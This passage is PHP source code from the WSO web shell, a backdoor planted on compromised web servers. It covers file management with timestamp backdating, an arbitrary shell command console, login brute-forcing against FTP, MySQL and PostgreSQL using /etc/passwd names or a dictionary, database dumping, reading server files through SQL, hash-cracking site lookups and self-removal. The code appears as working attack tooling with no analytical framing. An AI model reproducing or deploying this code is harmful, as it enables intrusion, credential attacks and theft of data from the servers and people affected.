(empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' .
htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?
wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td>
<td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=#
onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms
']
                        .'</td><td><a href="#"
onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a
href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',
\'touch\')">T</a>'.(($f['type']=='file')?' <a href="#"
onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a
href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',
\'download\')">D</a>':'').'</td></tr>';
                $l = $l?0:1;
        }
        echo "<tr><td colspan=7>
        <input type=hidden name=a value='FilesMan'>
        <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
        <input type=hidden name=charset value='". (isset($_POST['charset'])?
$_POST['charset']:'')."'>
        <select name='p1'><option value='copy'>Copy</option><option
value='move'>Move</option><option value='delete'>Delete</option>";
    if(class_exists('ZipArchive'))
```

```
        echo "<option value='zip'>Compress (zip)</option><option
value='unzip'>Uncompress (zip)</option>";
    echo "<option value='tar'>Compress (tar.gz)</option>";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
        echo "<option value='paste'>Paste / Compress</option>";
    echo "</select>&nbsp;";
    if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] ==
'zip') || ($_COOKIE['act'] == 'tar')))
        echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") .
"." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
    echo "<input type='submit' value='>>'></td></tr></form></table></div>";
        wsoFooter();
}

function actionStringTools() {
        if(!function_exists('hex2bin')) {function hex2bin($p) {return
decbin(hexdec($p));}}
    if(!function_exists('binhex')) {function binhex($p) {return
dechex(bindec($p));}}
        if(!function_exists('hex2ascii')) {function hex2ascii($p)
{$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
        if(!function_exists('ascii2hex')) {function ascii2hex($p)
{$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return
strtoupper($r);}}
        if(!function_exists('full_urlencode')) {function full_urlencode($p)
{$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return
strtoupper($r);}}
        $stringTools = array(
                'Base64 encode' => 'base64_encode',
                'Base64 decode' => 'base64_decode',
                'Url encode' => 'urlencode',
                'Url decode' => 'urldecode',
                'Full urlencode' => 'full_urlencode',
                'md5 hash' => 'md5',
                'sha1 hash' => 'sha1',
                'crypt' => 'crypt',
                'CRC32' => 'crc32',
                'ASCII to HEX' => 'ascii2hex',
                'HEX to ASCII' => 'hex2ascii',
                'HEX to DEC' => 'hexdec',
                'HEX to BIN' => 'hex2bin',
                'DEC to HEX' => 'dechex',
                'DEC to BIN' => 'decbin',
                'BIN to HEX' => 'binhex',
                'BIN to DEC' => 'bindec',
                'String to lower case' => 'strtolower',
                'String to upper case' => 'strtoupper',
                'Htmlspecialchars' => 'htmlspecialchars',
                'String length' => 'strlen',
        );
        if(isset($_POST['ajax'])) {
                WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
                ob_start();
                if(in_array($_POST['p1'], $stringTools))
                        echo $_POST['p1']($_POST['p2']);
                $temp =
"document.getElementById('strOutput').style.display='';document.getElementById('strO
utput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';
\n";
                echo strlen($temp), "\n", $temp;
                exit;
        }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
                WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
        wsoHeader();
        echo '<h1>String conversions</h1><div class=content>';
        echo "<form name='toolsForm' onSubmit='if(this.ajax.checked)
{a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTo
ol.value,this.input.value);} return false;'><select name='selectTool'>";
        foreach($stringTools as $k => $v)
                echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
                echo "</select><input type='submit' value='>>'/> <input
type=checkbox name=ajax value=1 ".
(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br>
<textarea name='input' style='margin-top:5px' class=bigarea>".
(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre
class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px'
id='strOutput'>";
        if(!empty($_POST['p1'])) {
                if(in_array($_POST['p1'], $stringTools))echo
htmlspecialchars($_POST['p1']($_POST['p2']));
        }
        echo"</pre></div><br><h1>Search files:</h1><div class=content>
                <form
onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return
false;\"><table cellpadding='1' cellspacing='0' width='50%'>
                        <tr><td width='1%'>Text:</td><td><input type='text'
name='text' style='width:100%'></td></tr>
                        <tr><td>Path:</td><td><input type='text' name='cwd'
value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
                        <tr><td>Name:</td><td><input type='text' name='filename'
value='*' style='width:100%'></td></tr>
                        <tr><td></td><td><input type='submit' value='>>'></td></tr>
                        </table></form>";

        function wsoRecursiveGlob($path) {
                if(substr($path, -1) != '/')
                        $path.='/';
                $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']),
@glob($path.'*', GLOB_ONLYDIR)));
                if(is_array($paths)&&@count($paths)) {
                        foreach($paths as $item) {
                                if(@is_dir($item)){
                                        if($path!=$item)
                                                wsoRecursiveGlob($item);
                                } else {
                                        if(empty($_POST['p2']) ||
@strpos(file_get_contents($item), $_POST['p2'])!==false)
                                                echo "<a href='#'
onclick='g(\"FilesTools\",null,\"".urlencode($item)."\",
\"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
                                }
                        }
                }
        }
        if(@$_POST['p3'])
                wsoRecursiveGlob($_POST['c']);
        echo "</div><br><h1>Search for hash:</h1><div class=content>
                <form method='post' target='_blank' name='hf'>
                        <input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
                        <input type='button' value='hashcracking.ru'
onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit(
)\"><br>
                        <input type='button' value='md5.rednoize.com'
onclick=\"document.hf.action='http://md5.rednoize.com/?
q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me'
onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\">
<br>
```

```
                </form></div>";
        wsoFooter();
}

function actionFilesTools() {
        if( isset($_POST['p1']) )
                $_POST['p1'] = urldecode($_POST['p1']);
        if(@$_POST['p2']=='download') {
                if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                        ob_start("ob_gzhandler", 4096);
                        header("Content-Disposition: attachment;
filename=".basename($_POST['p1']));
                        if (function_exists("mime_content_type")) {
                                $type = @mime_content_type($_POST['p1']);
                                header("Content-Type: " . $type);
                        } else
                header("Content-Type: application/octet-stream");
                        $fp = @fopen($_POST['p1'], "r");
                        if($fp) {
                                while(!@feof($fp))
                                        echo @fread($fp, 1024);
                                fclose($fp);
                        }
                }exit;
        }
        if( @$_POST['p2'] == 'mkfile' ) {
                if(!file_exists($_POST['p1'])) {
                        $fp = @fopen($_POST['p1'], 'w');
                        if($fp) {
                                $_POST['p2'] = "edit";
                                fclose($fp);
                        }
                }
        }
        wsoHeader();
        echo '<h1>File tools</h1><div class=content>';
        if( !file_exists(@$_POST['p1']) ) {
                echo 'File not exists';
                wsoFooter();
                return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if(!$uid) {
                $uid['name'] = @fileowner($_POST['p1']);
                $gid['name'] = @filegroup($_POST['p1']);
        } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).'
<span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-
').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:
</span> '.$uid['name'].'/'.$gid['name'].'<br>';
        echo '<span>Change time:</span> '.date('Y-m-d
H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d
H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d
H:i:s',filemtime($_POST['p1'])).'<br><br>';
        if( empty($_POST['p2']) )
                $_POST['p2'] = 'view';
        if( is_file($_POST['p1']) )
                $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit',
'Chmod', 'Rename', 'Touch');
        else
                $m = array('Chmod', 'Rename', 'Touch');
        foreach($m as $v)
                echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) .
'\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]
</b>':$v).'</a> ';
```

```
        echo '<br><br>';
        switch($_POST['p2']) {
                case 'view':
                        echo '<pre class=ml1>';
                        $fp = @fopen($_POST['p1'], 'r');
                        if($fp) {
                                while( !@feof($fp) )
                                        echo htmlspecialchars(@fread($fp, 1024));
                                @fclose($fp);
                        }
                        echo '</pre>';
                        break;
                case 'highlight':
                        if( @is_readable($_POST['p1']) ) {
                                echo '<div class=ml1 style="background-color:
#e1e1e1;color:black;">';
                                $code = @highlight_file($_POST['p1'],true);
                                echo str_replace(array('<span ','</span>'),
array('<font ','</font>'),$code).'</div>';
                        }
                        break;
                case 'chmod':
                        if( !empty($_POST['p3']) ) {
                                $perms = 0;
                                for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
                                        $perms += (int)$_POST['p3'][$i]*pow(8,
(strlen($_POST['p3'])-$i-1));
                                if(!@chmod($_POST['p1'], $perms))
                                        echo 'Can\'t set permissions!<br>
<script>document.mf.p3.value="";</script>';
                        }
                        clearstatcache();
                        echo '<script>p3_="";</script><form
onsubmit="g(null,null,\'' . urlencode($_POST['p1']) .
'\',null,this.chmod.value);return false;"><input type=text name=chmod
value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit
value=">>"></form>';
                        break;
                case 'edit':
                        if( !is_writable($_POST['p1'])) {
                                echo 'File isn\'t writeable';
                                break;
                        }
                        if( !empty($_POST['p3']) ) {
                                $time = @filemtime($_POST['p1']);
                                $_POST['p3'] = substr($_POST['p3'],1);
                                $fp = @fopen($_POST['p1'],"w");
                                if($fp) {
                                        @fwrite($fp,$_POST['p3']);
                                        @fclose($fp);
                                        echo 'Saved!<br><script>p3_="";</script>';
                                        @touch($_POST['p1'],$time,$time);
                                }
                        }
                        echo '<form onsubmit="g(null,null,\'' .
urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea
name=text class=bigarea>';
                        $fp = @fopen($_POST['p1'], 'r');
                        if($fp) {
                                while( !@feof($fp) )
                                        echo htmlspecialchars(@fread($fp, 1024));
                                @fclose($fp);
                        }
                        echo '</textarea><input type=submit value=">>"></form>';
                        break;
                case 'hexdump':
                        $c = @file_get_contents($_POST['p1']);
                        $n = 0;
                        $h = array('00000000<br>','','');
                        $len = strlen($c);
                        for ($i=0; $i<$len; ++$i) {
                                $h[1] .= sprintf('%02X',ord($c[$i])).' ';
                                switch ( ord($c[$i]) ) {
                                        case 0:  $h[2] .= ' '; break;
                                        case 9:  $h[2] .= ' '; break;
                                        case 10: $h[2] .= ' '; break;
                                        case 13: $h[2] .= ' '; break;
                                        default: $h[2] .= $c[$i]; break;
                                }
                                $n++;
                                if ($n == 32) {
                                        $n = 0;
                                        if ($i+1 < $len) {$h[0] .=
sprintf('%08X',$i+1).'<br>';}
                                        $h[1] .= '<br>';
                                        $h[2] .= "\n";
                                }
                        }
                        echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222>
<tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre>
</span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333>
<pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
                        break;
                case 'rename':
                        if( !empty($_POST['p3']) ) {
                                if(!@rename($_POST['p1'], $_POST['p3']))
                                        echo 'Can\'t rename!<br>';
                                else

die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
                        }
                        echo '<form onsubmit="g(null,null,\'' .
urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text
name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>">
</form>';
                        break;
                case 'touch':
                        if( !empty($_POST['p3']) ) {
                                $time = strtotime($_POST['p3']);
                                if($time) {
                                        if(!touch($_POST['p1'],$time,$time))
                                                echo 'Fail!';
                                        else
                                                echo 'Touched!';
                                } else echo 'Bad time format!';
                        }
                        clearstatcache();
                        echo '<script>p3_="";</script><form
onsubmit="g(null,null,\'' . urlencode($_POST['p1']) .
'\',null,this.touch.value);return false;"><input type=text name=touch
value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit
value=">>"></form>';
                        break;
        }
        echo '</div>';
        wsoFooter();
}

function actionConsole() {
    if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
        $_POST['p1'] .= ' 2>&1';
    } elseif(!empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);

        if(isset($_POST['ajax'])) {
                WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
                ob_start();
                echo "d.cf.cmd.value='';\n";
                $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$
".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
                if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
                        if(@chdir($match[1])) {
                                $GLOBALS['cwd'] = @getcwd();
                                echo "c_='".$GLOBALS['cwd']."';";
                        }
                }
                echo "d.cf.output.value+='".$temp."';";
                echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
                $temp = ob_get_clean();
                echo strlen($temp), "\n", $temp;
                exit;
        }
    if(empty($_POST['ajax'])&&!empty($_POST['p1']))
                WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
        wsoHeader();
    echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
        var n = (window.Event) ? e.which : e.keyCode;
        if(n == 38) {
                cur--;
                if(cur>=0)
                        document.cf.cmd.value = cmds[cur];
                else
                        cur++;
        } else if(n == 40) {
                cur++;
                if(cur < cmds.length)
                        document.cf.cmd.value = cmds[cur];
                else
                        cur--;
        }
}
function add(cmd) {
        cmds.pop();
        cmds.push(cmd);
        cmds.push('');
        cur = cmds.length-1;
}
</script>";
        echo '<h1>Console</h1><div class=content><form name=cf
onsubmit="if(d.cf.cmd.value==\'clear\')
{d.cf.output.value=\'\';d.cf.cmd.value=\'\';return
false;}add(this.cmd.value);if(this.ajax.checked)
{a(null,null,this.cmd.value,this.show_errors.checked?
1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return
false;"><select name=alias>';
        foreach($GLOBALS['aliases'] as $n => $v) {
                if($v == '') {
                        echo '<optgroup label="-'.htmlspecialchars($n).'-">
</optgroup>';
                        continue;
                }
                echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
        }

        echo '</select><input type=button
onclick="add(d.cf.alias.value);if(d.cf.ajax.checked)
{a(null,null,d.cf.alias.value,d.cf.show_errors.checked?
1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}"
value=">>"> <nobr><input type=checkbox name=ajax value=1 '.
(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX
<input type=checkbox name=show_errors value=1 '.
(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked
':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea
name=output style="border-bottom:0;margin:0;" readonly>';
        if(!empty($_POST['p1'])) {
                echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
        }
        echo '</textarea><table style="border:1px solid #df5;background-
color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td
width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;"
onkeydown="kp(event);"></td></tr></table>';
        echo '</form></div><script>d.cf.cmd.focus();</script>';
        wsoFooter();
}

function actionLogout() {
    setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
        die('bye!');
}

function actionSelfRemove() {

        if($_POST['p1'] == 'yes')
                if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
                        die('Shell has been removed');
                else
                        echo 'unlink error!';
    if($_POST['p1'] != 'yes')
        wsoHeader();
        echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?
<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
        wsoFooter();
}

function actionBruteforce() {
        wsoHeader();
        if( isset($_POST['proto']) ) {
                echo '<h1>Results</h1><div class=content><span>Type:</span>
'.htmlspecialchars($_POST['proto']).' <span>Server:</span>
'.htmlspecialchars($_POST['server']).'<br>';
                if( $_POST['proto'] == 'ftp' ) {
                        function wsoBruteForce($ip,$port,$login,$pass) {
                                $fp = @ftp_connect($ip, $port?$port:21);
                                if(!$fp) return false;
                                $res = @ftp_login($fp, $login, $pass);
                                @ftp_close($fp);
                                return $res;
                        }
                } elseif( $_POST['proto'] == 'mysql' ) {
                        function wsoBruteForce($ip,$port,$login,$pass) {
                                $res = @mysql_connect($ip.':'.($port?$port:3306),
$login, $pass);
                                @mysql_close($res);
                                return $res;
                        }
        } elseif( $_POST['proto'] == 'pgsql' ) {
            function wsoBruteForce($ip,$port,$login,$pass) {
                $str = "host='".$ip."' port='".$port."'
user='".$login."' password='".$pass."' dbname=postgres";
                $res = @pg_connect($str);
                @pg_close($res);
                return $res;
            }
        }
        $success = 0;
        $attempts = 0;
        $server = explode(":", $_POST['server']);
        if($_POST['type'] == 1) {
            $temp = @file('/etc/passwd');
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = explode(":", $line);
                    ++$attempts;
                    if( wsoBruteForce(@$server[0],@$server[1],
$line[0], $line[0]) ) {
                        $success++;
                        echo
'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
                    }
                    if(@$_POST['reverse']) {
                        $tmp = "";
                        for($i=strlen($line[0])-1; $i>=0; --
$i)
                            $tmp .= $line[0][$i];
                        ++$attempts;
                        if(
wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
                            $success++;
                            echo
'<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
                        }
                    }
                }
        } elseif($_POST['type'] == 2) {
            $temp = @file($_POST['dict']);
            if( is_array($temp) )
                foreach($temp as $line) {
                    $line = trim($line);
                    ++$attempts;
                    if( wsoBruteForce($server[0],@$server[1],
$_POST['login'], $line) ) {
                        $success++;
                        echo
'<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
                    }
                }
        }
        echo "<span>Attempts:</span> $attempts <span>Success:</span>
$success</div><br>";
    }
    echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr>
<td><span>Type</span></td>'
        .'<td><select name=proto><option value=ftp>FTP</option><option
value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr>
<tr><td>'
        .'<input type=hidden name=c
value="'.htmlspecialchars($GLOBALS['cwd']).'">'
        .'<input type=hidden name=a
value="'.htmlspecialchars($_POST['a']).'">'
        .'<input type=hidden name=charset
```

```
value="'.htmlspecialchars($_POST['charset']).'">'
                .'<span>Server:port</span></td>'
                .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
                .'<tr><td><span>Brute type</span></td>'
                .'<td><label><input type=radio name=type value="1" checked>
/etc/passwd</label></td></tr>'
                .'<tr><td></td><td><label style="padding-left:15px"><input
type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td>
</tr>'
                .'<tr><td></td><td><label><input type=radio name=type value="2">
Dictionary</label></td></tr>'
                .'<tr><td></td><td><table style="padding-left:15px"><tr><td>
<span>Login</span></td>'
                .'<td><input type=text name=login value="root"></td></tr>'
                .'<tr><td><span>Dictionary</span></td>'
                .'<td><input type=text name=dict
value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
                .'</td></tr><tr><td></td><td><input type=submit value=">>"></td>
</tr></form></table>';
        echo '</div><br>';
        wsoFooter();
}

function actionSql() {
        class DbClass {
                var $type;
                var $link;
                var $res;
                function DbClass($type) {
                        $this->type = $type;
                }
                function connect($host, $user, $pass, $dbname){
                        switch($this->type)     {
                                case 'mysql':
                                        if( $this->link =
@mysql_connect($host,$user,$pass,true) ) return true;
                                        break;
                                case 'pgsql':
                                        $host = explode(':', $host);
                                        if(!$host[1]) $host[1]=5432;
                                        if( $this->link = @pg_connect("host=
{$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
                                        break;
                        }
                        return false;
                }
                function selectdb($db) {
                        switch($this->type)     {
                                case 'mysql':
                                        if (@mysql_select_db($db))return true;
                                        break;
                        }
                        return false;
                }
                function query($str) {
                        switch($this->type) {
                                case 'mysql':
                                        return $this->res = @mysql_query($str);
                                        break;
                                case 'pgsql':
                                        return $this->res = @pg_query($this-
>link,$str);
                                        break;
                        }
                        return false;
                }
                function fetch() {
                        $res = func_num_args()?func_get_arg(0):$this->res;
                        switch($this->type)     {
                                case 'mysql':
                                        return @mysql_fetch_assoc($res);
                                        break;
                                case 'pgsql':
                                        return @pg_fetch_assoc($res);
                                        break;
                        }
                        return false;
                }
                function listDbs() {
                        switch($this->type)     {
                                case 'mysql':
                        return $this->query("SHOW databases");
                                break;
                                case 'pgsql':
                                        return $this->res = $this->query("SELECT
datname FROM pg_database WHERE datistemplate!='t'");
                                break;
                        }
                        return false;
                }
                function listTables() {
                        switch($this->type)     {
                                case 'mysql':
                                        return $this->res = $this->query('SHOW
TABLES');
                                break;
                                case 'pgsql':
                                        return $this->res = $this->query("select
table_name from information_schema.tables where table_schema != 'information_schema'
AND table_schema != 'pg_catalog'");
                                break;
                        }
                        return false;
                }
                function error() {
                        switch($this->type)     {
                                case 'mysql':
                                        return @mysql_error();
                                break;
                                case 'pgsql':
                                        return @pg_last_error();
                                break;
                        }
                        return false;
                }
                function setCharset($str) {
                        switch($this->type)     {
                                case 'mysql':
                                        if(function_exists('mysql_set_charset'))
                                                return @mysql_set_charset($str,
$this->link);
                                        else
                                                $this->query('SET CHARSET '.$str);
                                        break;
                                case 'pgsql':
                                        return @pg_set_client_encoding($this->link,
$str);
                                        break;
                        }
                        return false;
                }
                function loadFile($str) {
                        switch($this->type)     {
                                case 'mysql':
                                        return $this->fetch($this->query("SELECT
LOAD_FILE('".addslashes($str)."') as file"));
                                break;
                                case 'pgsql':
                                        $this->query("CREATE TABLE wso2(file
text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
                                        $r=array();
                                        while($i=$this->fetch())
                                                $r[] = $i['file'];
                                        $this->query('drop table wso2');
                                        return array('file'=>implode("\n",$r));
                                break;
                        }
                        return false;
                }
                function dump($table, $fp = false) {
                        switch($this->type)     {
                                case 'mysql':
                                        $res = $this->query('SHOW CREATE TABLE
`'.$table.'`');
                                        $create = mysql_fetch_array($res);
                                        $sql = $create[1].";\n";
                    if($fp) fwrite($fp, $sql); else echo($sql);
                                        $this->query('SELECT * FROM `'.$table.'`');
                    $i = 0;
                    $head = true;
                                        while($item = $this->fetch()) {
                        $sql = '';
                        if($i % 1000 == 0) {
                            $head = true;
                            $sql = ";\n\n";
                        }

                                                $columns = array();
                                                foreach($item as $k=>$v) {
                            if($v === null)
                                $item[$k] = "NULL";
                            elseif(is_int($v))
                                $item[$k] = $v;
                            else
                                $item[$k] = "'".@mysql_real_escape_string($v)."'";
                                                        $columns[] = "`".$k."`";
                                                }
                        if($head) {
                            $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ",
$columns).") VALUES \n\t(".implode(", ", $item).')';
                            $head = false;
                        } else
                            $sql .= "\n\t,(".implode(", ", $item).')';
                        if($fp) fwrite($fp, $sql); else echo($sql);
                        $i++;
                                        }
                    if(!$head)
                        if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
                                break;
                                case 'pgsql':
                                        $this->query('SELECT * FROM '.$table);
                                        while($item = $this->fetch()) {
                                                $columns = array();
                                                foreach($item as $k=>$v) {
                                                        $item[$k] =
"'".addslashes($v)."'";
                                                        $columns[] = $k;
                                                }
                        $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).')
VALUES ('.implode(", ", $item).');'."\n";
                        if($fp) fwrite($fp, $sql); else echo($sql);
                                        }
                                break;
                        }
                        return false;
                }
        };
        $db = new DbClass($_POST['type']);
        if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
                $db->connect($_POST['sql_host'], $_POST['sql_login'],
$_POST['sql_pass'], $_POST['sql_base']);
                $db->selectdb($_POST['sql_base']);
        switch($_POST['charset']) {
            case "Windows-1251": $db->setCharset('cp1251'); break;
            case "UTF-8": $db->setCharset('utf8'); break;
            case "KOI8-R": $db->setCharset('koi8r'); break;
            case "KOI8-U": $db->setCharset('koi8u'); break;
            case "cp866": $db->setCharset('cp866'); break;
        }
        if(empty($_POST['file'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=dump.sql");
            header("Content-Type: text/plain");
            foreach($_POST['tbl'] as $v)
                                $db->dump($v);
            exit;
        } elseif($fp = @fopen($_POST['file'], 'w')) {
            foreach($_POST['tbl'] as $v)
                $db->dump($v, $fp);
            fclose($fp);
            unset($_POST['p2']);
        } else
            die('<script>alert("Error! Can\'t open file");window.history.back(-1)
</script>');
        }
        wsoHeader();
        echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2'
cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td>
</tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input
type=hidden name=p2 value=''><input type=hidden name=c value='".
htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='".
(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";
    if(@$_POST['type']=='mysql')echo 'selected';
echo ">MySql</option><option value='pgsql' ";
if(@$_POST['type']=='pgsql')echo 'selected';
echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"".
(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\">
</td>
<td><input type=text name=sql_login value=\"".
(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"".
(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
        $tmp = "<input type=text name=sql_base value=''>";
        if(isset($_POST['sql_host'])){
                if($db->connect($_POST['sql_host'], $_POST['sql_login'],
$_POST['sql_pass'], $_POST['sql_base'])) {
                        switch($_POST['charset']) {
                                case "Windows-1251": $db->setCharset('cp1251');
break;
                                case "UTF-8": $db->setCharset('utf8'); break;
                                case "KOI8-R": $db->setCharset('koi8r'); break;
                                case "KOI8-U": $db->setCharset('koi8u'); break;
                                case "cp866": $db->setCharset('cp866'); break;
                        }
                        $db->listDbs();
                        echo "<select name=sql_base><option value=''></option>";
                        while($item = $db->fetch()) {
                                list($key, $value) = each($item);
                                echo '<option value="'.$value.'" '.
($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
                        }
                        echo '</select>';
                }
                else echo $tmp;
        }else
                echo $tmp;
        echo "</td>
                                <td><input type=submit value='>>'
onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" .
(empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
                        </tr>
                </table>
                <script>
            s_db='".@addslashes($_POST['sql_base'])."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
                        function st(t,l) {
                                d.sf.p1.value = 'select';
                                d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
                                d.sf.submit();
                        }
                        function is() {
                                for(i=0;i<d.sf.elements['tbl[]'].length;++i)
                                        d.sf.elements['tbl[]'][i].checked =
!d.sf.elements['tbl[]'][i].checked;
                        }
                </script>";
        if(isset($db) && $db->link){
                echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
                        if(!empty($_POST['sql_base'])){
                                $db->selectdb($_POST['sql_base']);
                                echo "<tr><td width=1 style='border-top:2px solid
#666;'><span>Tables:</span><br><br>";
                                $tbls_res = $db->listTables();
                                while($item = $db->fetch($tbls_res)) {
                                        list($key, $value) = each($item);
                    if(!empty($_POST['sql_count']))
                        $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM
'.$value.''));
                                        $value = htmlspecialchars($value);
                                        echo "<nobr><input type='checkbox'
name='tbl[]' value='".$value."'>&nbsp;<a href=#
```

```
onclick=\"st('".$value."',1)\">".$value."</a>" .
